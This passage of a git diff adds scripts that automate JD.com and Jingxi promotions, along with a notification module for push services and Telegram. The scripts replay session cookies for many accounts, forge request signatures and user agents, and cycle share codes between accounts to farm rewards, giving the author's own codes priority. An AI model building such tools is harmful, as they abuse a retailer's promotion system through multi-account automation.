for (let j = 0; j < t.totalNum - t.finishNum; j++) { + console.log(t.taskName) + await wait(3000) + res = await api(`{"parentId":"${t.parentId}","taskId":"${t.taskId}","apiMapping":"/api/task/doTask"}`) + await wait(10000) + if (res.code === 200) { + console.log('任务完成') + await api(`{"apiMapping":"/api/index/indexInfo"}`) + if (t.type === 'FOLLOW_SHOP_TASK') + return 1 + let timestamp: number = res.data.timeStamp + res = await api(`{"parentId":"${t.parentId}","taskId":"${t.taskId}","timeStamp":${timestamp},"apiMapping":"/api/task/getReward"}`) + if (res.code === 200) { + console.log('领奖成功,获得', res.data.score) + await wait(2000) + return 1 + } else { + console.log('领奖失败', res) + } + } else { + console.log('任务失败', res) + } + } + } +} \ No newline at end of file diff --git a/jd_yili_cow.ts b/jd_yili_cow.ts new file mode 100644 index 0000000000..6581dbc8aa --- /dev/null +++ b/jd_yili_cow.ts @@ -0,0 +1,186 @@ +import axios from 'axios'; +import USER_AGENT, {TotalBean, requireConfig, wait} from "./TS_USER_AGENTS"; +import * as dotenv from 'dotenv'; + +const notify = require('./sendNotify') +dotenv.config() +let token: string, token2: string, actorUuid: string, shopId: number, pin: string, uuid: string; +let milk: number; +let cookie: string = '', res: any = '', UserName: string, index: number; + +async function main() { + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + try { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + await getIsvToken(); + await getIsvToken2(); + await init(); + + res = await api('https://lzdz-isv.isvjcloud.com/dz/common/getSimpleActInfoVo', 'activityId=dz2103100001340201') + shopId = res.data.venderId + res = await api('https://lzdz-isv.isvjcloud.com/customer/getMyPing', `userId=${shopId}&token=${token2}&fromType=APP`) + pin = res.data.secretPin + + res = await api('https://lzdz-isv.isvjcloud.com/wxActionCommon/getUserInfo', `pin=${encodeURIComponent(pin)}`) + if (res.data?.hasOwnProperty('id')) { + uuid = res.data.id + } else { + continue + } + + res = await api('https://lzdz-isv.isvjcloud.com/common/accessLogWithAD', `venderId=1000013402&code=99&pin=${encodeURIComponent(pin)}&activityId=dz2103100001340201&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fyili%2Fyangniu%2Factivity%2F4827909%3FactivityId%3Ddz2103100001340201%26shareUuid%3Db44243656a694b6f94bb30a4a5f2a45d%26adsource%3Dziying%26shareuserid4minipg%3D5Iufa9rY657S3OP3PLSpK07oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w%3D%3D%26shopid%3D1000013402%26lng%3D114.062604%26lat%3D29.541501%26sid%3D6e9bfee3838075a72533536815d8f3ew%26un_area%3D4_48201_54794_0&subType=app&adSource=ziying`) + res = await api('https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activityContent', `activityId=dz2103100001340201&pin=${encodeURIComponent(pin)}&pinImg=null&nick=${cookie.match(/pt_pin=([^;]*)/)![1]}&cjyxPin=&cjhyPin=&shareUuid=`) + actorUuid = res.data.actorUuid + console.log('互助码:', actorUuid) + milk = res.data.score2 / 10 + + for (let j = 0; j < milk; j++) { + res = await api('feedCow', `activityId=dz2103100001340201&actorUuid=${actorUuid}&pin=${encodeURIComponent(pin)}`) + if (res.result) { + console.log('喂奶成功,剩余:', res.data.score2) + } else { + console.log('喂奶失败:', res) + break + } + await wait(2000) + } + + while (1) { + res = await api('start', `activityId=dz2103100001340201&actorUuid=${actorUuid}&pin=${encodeURIComponent(pin)}`) + if (res.result) { + console.log('抽奖成功:', res.data.name) + } else if (res.errorMessage === '继续努力,多多喂养牛牛哦~') { + console.log('抽奖失败,没有抽奖机会') + break + } else { + console.log('抽奖失败:', res) + break + } + await wait(3000) + } + + + let taskArr: any = [ + {taskType: 0}, + {taskType: 1}, + {taskType: 12}, + {taskType: 13, taskValue: 'ziying'}, + {taskType: 13, taskValue: 'pop'}, + {taskType: 21}, + ] + for (let t of taskArr) { + res = await api('saveTask', `activityId=dz2103100001340201&actorUuid=${actorUuid}&pin=${encodeURIComponent(pin)}&taskType=${t.taskType}&taskValue=${t.taskValue ?? ''}`) + if (res.result) + console.log('任务完成:', res.data.milkCount) + else { + console.log('任务失败:', res) + break + } + await wait(2000) + } + } catch (e) { + console.log(e) + } + } +} + +main().then() + +function api(fn: string, body: Object): Object { + let url: string; + if (fn.indexOf('https://') > -1) { + url = fn + } else { + url = `https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/${fn}` + } + return new Promise(async resolve => { + let {data, headers}: any = await axios.post(url, body + , { + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activity', + 'User-Agent': USER_AGENT, + 'Accept': 'application/json', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'Cookie': cookie + } + }) + reloadCookie(headers['set-cookie']) + resolve(data); + }) +} + +function getIsvToken() { + return new Promise(async resolve => { + let {data}: any = await axios.post("https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934987178&sign=0877498be29cda51b9628fa0195f412f&sv=111", + `body=${escape('{"action":"to","to":"https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F3KSjXqQabiTuD1cJ28QskrpWoBKT%2Findex.html%3FbabelChannel%3D45%26collectionId%3D519"}')}`, { + headers: { + 'Host': 'api.m.jd.com', + 'charset': 'UTF-8', + 'User-Agent': USER_AGENT, + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'cookie': cookie + } + }); + token = data.tokenKey; + resolve(); + }) +} + +function getIsvToken2() { + return new Promise(async resolve => { + let {data}: any = await axios.post("https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100", 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A//xinruidddj-isv.isvjcloud.com%22%7D', { + headers: { + 'Host': 'api.m.jd.com', + 'user-agent': USER_AGENT, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + }) + token2 = data.token; + cookie += 'IsvToken=' + token2 + ';' + resolve(); + }) +} + +function init() { + return new Promise(resolve => { + axios.get("https://lzdz-isv.isvjcloud.com/dingzhi/yili/yangniu/activity", { + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'User-Agent': USER_AGENT, + 'Cookie': 'IsvToken=' + token + } + }).then((res: any) => { + reloadCookie(res.headers['set-cookie']) + resolve(); + }) + }) +} + +function reloadCookie(setCookie: string[]) { + let cookieArr: string[] = cookie.split(';') + cookieArr.pop(); + let cookieTEMP: any = {}; + for (let ck of cookieArr) + cookieTEMP[ck.split('=')[0]] = ck.match(/(pt_key|pt_pin|LZ_TOKEN_KEY|LZ_TOKEN_VALUE|AUTH_C_USER|lz_jdpin_token|IsvToken)=([^;]*)/)![2] + if (setCookie) { + for (let ck of setCookie) { + ck = ck.split(';')[0] + cookieTEMP[ck.split('=')[0]] = ck.match(/(pt_key|pt_pin|LZ_TOKEN_KEY|LZ_TOKEN_VALUE|AUTH_C_USER|lz_jdpin_token|IsvToken)=([^;]*)/)![2] + } + cookie = '' + for (let ck in cookieTEMP) { + if (cookieTEMP.hasOwnProperty(ck)) { + cookie += `${ck}=${cookieTEMP[ck]};` + } + } + } +} diff --git a/jx_box.ts b/jx_box.ts new file mode 100644 index 0000000000..1945aa564d --- /dev/null +++ b/jx_box.ts @@ -0,0 +1,184 @@ +/** + * 京喜-88红包-宝箱 + * 做任务、开宝箱 + * 每号可收20次助力,出1次助力 + * cron: 5 0,6,12 * * * + * TODO CK 20+ + * CK1默认优先助力HW.ts,其余助力CK1 + * HW_Priority: boolean + * true HW.ts -> 内部 + * false 内部 -> HW.ts + */ + +import axios from 'axios' +import * as path from "path" +import {requireConfig, wait, requestAlgo, h5st, exceptCookie, randomString} from './TS_USER_AGENTS' + +let cookie: string = '', res: any = '', UserName: string, index: number +let shareCodeSelf: string[] = [], shareCode: string[] = [], shareCodeHW: string[] = ['aae98a3e3b04d3ac430ee9ee91f4759d', 'bdf489af86e5021575040fffee407bc2', '92a46b6081a955fb4dcea1e56e590b3a', '638d77021a1dd4d74cad72d44afd9899', 'f4dc33716d2551e372fd44f5ac0baca8'] +let HW_Priority: boolean = true +process.env.HW_Priority === 'false' ? HW_Priority = false : '' + +!(async () => { + await requestAlgo() + let cookiesArr: any = await requireConfig() + cookie = cookiesArr[0] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await api('query', 'signhb_source,smp,type', {}) + console.log('助力码:', res.smp) + shareCodeSelf.push(res.smp) + + console.log('内部助力:', shareCodeSelf) + for (let i = 0; i < cookiesArr.length; i++) { + if (i === 0 && HW_Priority) { + shareCode = Array.from(new Set([...shareCodeHW, ...shareCodeSelf])) + } else { + shareCode = Array.from(new Set([...shareCodeSelf, ...shareCodeHW])) + } + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + for (let code of shareCode) { + console.log(`${UserName} 去助力 ${code}`) + res = await api('query', 'signhb_source,smp,type', {signhb_source: 5, smp: code, type: 1}) + await wait(2000) + if (res.autosign_sendhb !== '0' || res.todaysign === 1) + break + } + } + + let except: string[] = exceptCookie(path.basename(__filename)) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + if (except.includes(encodeURIComponent(UserName))) { + console.log('已设置跳过') + continue + } + + try { + res = await api('query', 'signhb_source,smp,type', {signhb_source: 5, smp: '', type: 1}) + /* + let rili: number = res.riliremind_task.status + "riliremind_task": + { + "domax": 0, + "forwardAlarmTime": "", + "getmoney": "0", + "getniu": "", + "rank": "", + "remindpopTitle": "", + "remindtime": "", + "status": 1, + "task": "", + "taskLink": "", + "taskbtnn": "", + "taskbtny": "", + "taskname": "", + "url": "" + } + console.log(res.riliremind_task.getmoney) + + // 日历 + if (rili === 1) { + res = await api(`https://m.jingxi.com/fanxiantask/signhb/dotask?task=rili_remind&signhb_source=5&ispp=0&sqactive=&tk=&_stk=ispp%2Csignhb_source%2Csqactive%2Ctask%2Ctk&_ste=1&_=${Date.now()}&sceneval=2`, 'ispp,signhb_source,sqactive,task,tk') + if (res.ret === 0) { + console.log('日历任务完成') + } else { + console.log('日历任务失败', res) + } + } + */ + for (let t of res.commontask) { + if (t.status === 1) { + console.log(t.taskname) + res = await api(`https://m.jingxi.com/fanxiantask/signhb/dotask?task=${t.task}&signhb_source=5&_=${Date.now()}&sceneval=2`, '') + if (res.ret === 0) { + console.log('任务完成,获得:', res.sendhb) + } else { + console.log('任务失败:', res.errmsg) + } + await wait(3000) + } + } + + res = await api('query', 'signhb_source,smp,type', {signhb_source: 5, smp: '', type: 1}) + if (res.baoxiang_left != 0) { + console.log(res.baoxiang_stage) + for (let t of res.baoxiang_stage) { + if (t.status === 1) { + res = await api(`https://m.jingxi.com/fanxiantask/signhb/bxdraw?_=${Date.now()}&sceneval=2`, '') + console.log('开宝箱,获得:', res.sendhb) + await wait(3000) + } + } + } + res = await doubleSign() + if (res.retCode === 0) { + console.log('双签成功') + } else { + console.log('双签失败', res) + } + } catch (e: any) { + console.log(e) + } + await wait(3000) + } +})() + +interface Params { + signhb_source?: number, + type?: number, + smp?: string, +} + +function api(fn: string, stk: string, params: Params = {}) { + return new Promise(async (resolve, reject) => { + let url = `https://m.jingxi.com/fanxiantask/signhb/${fn}?_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2` + if (fn.match(/(dotask|bxdraw)/)) { + url = fn + } + url = h5st(url, stk, params, 10038) + try { + let {data}: any = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'User-Agent': `jdpingou;iPhone;5.9.0;12.4.1;${randomString(40)};network/wifi;`, + 'Referer': 'https://st.jingxi.com/', + 'Cookie': cookie, + } + }) + if (typeof data === 'string') { + data = data.replace('try{jsonpCBKB(', '').replace('try{Query(', '').replace('try{BxDraw(', '').replace('try{Dotask(', '').split('\n')[0] + resolve(JSON.parse(data)) + } else { + resolve(data) + } + } catch (e: any) { + reject(e) + } + }) +} + +async function doubleSign() { + try { + let {data} = await axios.get('https://m.jingxi.com/double_sign/IssueReward?sceneval=2', { + headers: { + 'Host': 'm.jingxi.com', + 'Origin': 'https://st.jingxi.com', + 'Accept': 'application/json', + 'User-Agent': 'jdpingou;', + 'Referer': 'https://st.jingxi.com/pingou/jxapp_double_signin/index.html', + 'Cookie': cookie + } + }) + return data + } catch (e) { + console.log(e) + return '' + } +} diff --git a/jx_nnfls.ts b/jx_nnfls.ts new file mode 100644 index 0000000000..79f84222a4 --- /dev/null +++ b/jx_nnfls.ts @@ -0,0 +1,107 @@ +/** + * 京喜-首页-牛牛福利 + * 助力 内部 -> HW.ts + * 1 0,9,19,23 * * * + */ + +import axios from "axios" +import {requireConfig, wait, h5st, o2s, getshareCodeHW} from "./TS_USER_AGENTS" + +let cookie: string = '', UserName: string, index: number, res: any = '' +let shareCodeSelf: string[] = [], shareCode: string[] = [], shareCodeHW: string[] = [] + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + res = await api('sign/UserSignNew', 'sceneval,source', {source: ''}) + console.log('签到') + console.log('助力码', res.data.token) + shareCodeSelf.push(res.data.token) + let coin: number = res.data.pgAmountTotal + console.log('金币', coin) + + /* + res = await api('task/QueryUserTask', 'sceneval,taskType', {taskType: 0}) + let tasks: number[] = [] + if (res.datas) { + for (let t of res.datas) { + if (t.state !== 2) + tasks.push(t.taskid) + } + } else { + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + if (tasks.length === 0) { + for (let t of res.data.tasks) { + tasks.push(t.taskid) + } + } + } + console.log('tasks:', tasks) + await wait(2000) + + */ + + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + for (let t of res.data.tasks) { + // if (tasks.includes(t.taskId) && t.taskState === 1) { + console.log(t.taskName) + res = await api('task/drawUserTask', 'sceneval,taskid', {taskid: t.taskId}) + o2s(res) + await wait(1000) + res = await api('task/UserTaskFinish', 'sceneval,taskid', {taskid: t.taskId}) + o2s(res) + await wait(2000) + // } + } + + res = await api('active/LuckyTwistUserInfo', 'sceneval', {}) + let surplusTimes: number = res.data.surplusTimes + console.log('剩余抽奖次数', surplusTimes) + for (let j = 0; j < surplusTimes && coin >= 10; j++) { + res = await api('active/LuckyTwistDraw', 'active,activedesc,sceneval', {active: 'rwjs_fk1111', activedesc: encodeURIComponent('幸运扭蛋机抽奖')}) + console.log('抽奖成功', res.data) + coin -= 10 + await wait(5000) + } + await wait(2000) + } + + console.log('内部助力', shareCodeSelf) + for (let i = 0; i < cookiesArr.length; i++) { + if (shareCodeHW.length === 0) { + shareCodeHW = await getshareCodeHW('nnfls') + } + shareCode = Array.from(new Set([...shareCodeSelf, ...shareCodeHW])) + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + + for (let code of shareCode) { + console.log(`${UserName} 去助力 ${code}`) + res = await api('sign/helpSign', 'flag,sceneval,token', {flag: 0, token: code}) + await wait(3000) + res = await api('sign/helpSign', 'flag,sceneval,token', {flag: 1, token: code}) + console.log('助力结果', res.errMsg) + if (res.errMsg === 'help day limit') + break + await wait(2000) + } + } +})() + +async function api(fn: string, stk: string, params: any) { + let url = h5st(`https://m.jingxi.com/pgcenter/${fn}?sceneval=2&_stk=sceneval&_ste=1&_=${Date.now()}&sceneval=2`, stk, params, 10012) + let {data} = await axios.get(url, { + headers: { + 'Host': 'm.jingxi.com', + 'User-Agent': 'jdpingou;', + 'Referer': 'https://st.jingxi.com/pingou/taskcenter/index.html', + 'Cookie': cookie + } + }) + return data +} \ No newline at end of file diff --git a/package.json b/package.json new file mode 100644 index 0000000000..12ed3dc671 --- /dev/null +++ b/package.json @@ -0,0 +1,45 @@ +{ + "name": "jd", + "version": "1.0.0", + "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}", + "main": "AlipayManor.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "" + }, + "keywords": [ + "JD" + ], + "author": "", + "license": "ISC", + "dependencies": { + "@types/node": "^16.11.6", + "axios": "^0.24.0", + "crypto-js": "^4.1.1", + "date-fns": "^2.25.0", + "dotenv": "^10.0.0", + "download": "^8.0.0", + "form-data": "^4.0.0", + "got": "^11.8.2", + "http-server": "^14.0.0", + "jsdom": "^18.0.0", + "md5": "^2.3.0", + "png-js": "^1.0.0", + "prettytable": "^0.3.1", + "qrcode-terminal": "^0.12.0", + "request": "^2.88.2", + "tough-cookie": "^4.0.0", + "ts-md5": "^1.2.9", + "tslib": "^2.3.1", + "tunnel": "0.0.6", + "ws": "^8.2.3" + }, + "devDependencies": { + "npm-check-updates": "^11.8.5", + "ts-node": "^10.4.0", + "typescript": "^4.4.4" + } +} diff --git a/reset.sh b/reset.sh new file mode 100644 index 0000000000..872babba65 --- /dev/null +++ b/reset.sh @@ -0,0 +1,2 @@ +git reset --hard $1 +git push origin HEAD --force diff --git a/sendNotify.js b/sendNotify.js new file mode 100644 index 0000000000..49af959286 --- /dev/null +++ b/sendNotify.js @@ -0,0 +1,1095 @@ +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本脚本免费使用 By:xxx` + * @returns {Promise} + */ +const querystring = require("querystring"); +const fs = require('fs'); +const $ = new Env(); +const timeout = 15000;//超时时间(单位毫秒) +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; +// 自建serverchan 环境变量名 PUSH_KEY_WECOM +let SCKEY_WECOM = ''; +// 自建serverchan 环境变量名 PUSH_KEY_WECOM_URL +let SCKEY_WECOM_URL = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组,默认为”JDHelloWorld” +let BARK_GROUP = 'JDHelloWorld' + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = '';//例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = '';//例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = '';//tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org' +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) +*/ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; + +// =======================================cq-gohttp设置区域======================================= +// Doc https://docs.go-cqhttp.org/api/ +let go_cqhttp_url = '' // 127.0.0.1:5702 +let go_cqhttp_qq = '' // 接收消息QQ或群 +let go_cqhttp_method = '' // send_private_msg or send_group_msg + +process.env.go_cqhttp_url ? go_cqhttp_url = process.env.go_cqhttp_url : '' +process.env.go_cqhttp_qq ? go_cqhttp_qq = process.env.go_cqhttp_qq : '' +process.env.go_cqhttp_method ? go_cqhttp_method = process.env.go_cqhttp_method : '' + +// =======================================wxpusher设置区域======================================= +// Doc https://wxpusher.zjiecode.com/admin/ +let appToken = ''; // https://wxpusher.zjiecode.com/admin/main/app/appToken + +//==========================云端环境变量的判断与接收========================= +if (process.env.PUSH_KEY) { + SCKEY = process.env.PUSH_KEY; +} + +if (process.env.PUSH_KEY_WECOM) { + SCKEY_WECOM = process.env.PUSH_KEY_WECOM; +} + +if (process.env.PUSH_KEY_WECOM_URL) { + SCKEY_WECOM_URL = process.env.PUSH_KEY_WECOM_URL; +} + +if (process.env.QQ_SKEY) { + QQ_SKEY = process.env.QQ_SKEY; +} + +if (process.env.QQ_MODE) { + QQ_MODE = process.env.QQ_MODE; +} + + +if (process.env.BARK_PUSH) { + if (process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}` + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND + } + if (process.env.BARK_GROUP) { + BARK_GROUP = process.env.BARK_GROUP + } + +} else { + if (BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}` + } +} +if (process.env.TG_BOT_TOKEN) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; +} +if (process.env.TG_USER_ID) { + TG_USER_ID = process.env.TG_USER_ID; +} +if (process.env.TG_PROXY_AUTH) TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; +if (process.env.TG_PROXY_HOST) TG_PROXY_HOST = process.env.TG_PROXY_HOST; +if (process.env.TG_PROXY_PORT) TG_PROXY_PORT = process.env.TG_PROXY_PORT; +if (process.env.TG_API_HOST) TG_API_HOST = process.env.TG_API_HOST; + +if (process.env.DD_BOT_TOKEN) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } +} + +if (process.env.QYWX_KEY) { + QYWX_KEY = process.env.QYWX_KEY; +} + +if (process.env.QYWX_AM) { + QYWX_AM = process.env.QYWX_AM; +} + +if (process.env.IGOT_PUSH_KEY) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY +} + +if (process.env.PUSH_PLUS_TOKEN) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; +} +if (process.env.PUSH_PLUS_USER) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; +} +if (process.env.appToken) { + appToken = process.env.appToken; +} + +//==========================云端环境变量的判断与接收========================= + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本脚本免费使用 By:xxxx` + * @returns {Promise} + */ +async function sendNotify(text, desp, params = {}, author = '\n\nJDHelloWorld.ts') { + //提供6种通知 + let remarks = ''; + try { + fs.accessSync('./utils/account.json') + remarks = JSON.parse(fs.readFileSync('./utils/account.json').toString() || '[]') + } catch (e) { + } + if (remarks) { + for (let account of remarks) { + let pt_pin = decodeURIComponent(account['pt_pin']).split(';')[0] + for (let subDesp of desp.split('\n\n')) { + if (subDesp.indexOf(pt_pin) > -1 && account['wxpusher_uid']) { + await wxpusher(text, subDesp, account['wxpusher_uid']) + } + } + if (pt_pin && account['remarks']) { + text = text.replace(new RegExp(pt_pin, 'gm'), account['remarks']) + desp = desp.replace(new RegExp(pt_pin, 'gm'), account['remarks']) + } + } + } + desp += author; + await Promise.all([ + serverNotify(text, desp),//微信server酱 + serverWecomNotify(text, desp), // 自建server酱推送 + pushPlusNotify(text, desp)//pushplus(推送加) + ]) + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params),//iOS Bark APP + tgBotNotify(text, desp),//telegram 机器人 + ddBotNotify(text, desp),//钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp), //企业微信应用消息推送 + iGotNotify(text, desp, params),//iGot + goCQhttp(text, desp) // go-cqhttp + ]) +} + +function goCQhttp(text, desp) { + if (go_cqhttp_url && go_cqhttp_qq && go_cqhttp_method) { + let msg = (text + '\n' + desp).replace("\n\n仅供用于学习", ''); + + let recv_id = '' + if (go_cqhttp_method === 'send_private_msg') { + recv_id = 'user_id' + } else if (go_cqhttp_method === 'send_group_msg') { + recv_id = 'group_id' + } + + return new Promise(resolve => { + $.get({ + url: `http://${go_cqhttp_url}/${go_cqhttp_method}?${recv_id}=${go_cqhttp_qq}&message=${escape(msg)}` + }, (err, resp, data) => { + if (!err) { + try { + // console.log(data); + data = JSON.parse(data); + if (data.retcode === 0 && data.status === 'ok') { + console.log('go-cqhttp发送通知消息成功🎉\n') + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(200) + } + } + }) + }) + } +} + +function serverNotify(text, desp, time = 2100) { + return new Promise(resolve => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n') + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`) + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, time) + } else { + // console.log('\n\n您未提供server酱的SCKEY,取消微信推送消息通知🚫\n'); + resolve() + } + }) +} + +function serverWecomNotify(text, desp, time = 2100) { + return new Promise(resolve => { + if (SCKEY_WECOM && SCKEY_WECOM_URL) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY_WECOM_URL, + body: `sendkey=` + SCKEY_WECOM + `&text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded' + }, + timeout + } + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + 